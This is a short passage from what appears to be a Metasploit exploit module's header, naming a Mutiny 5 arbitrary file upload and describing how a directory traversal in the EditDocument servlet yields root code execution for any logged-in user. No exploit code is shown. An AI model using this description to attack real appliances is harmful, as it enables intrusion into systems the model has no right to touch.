'Name' => 'Mutiny 5 Arbitrary File Upload',
'Description' => %q{
This module exploits a code execution flaw in the Mutiny 5 appliance. The
EditDocument servlet provides a file upload function to authenticated users. A
directory traversal vulnerability in the same functionality allows for arbitrary
file upload, which results in arbitrary code execution with root privileges. In
order to exploit the vulnerability a valid user (any role) in the web frontend is
required. The module has been tested successfully on the Mutiny 5.0-1.07 appliance.
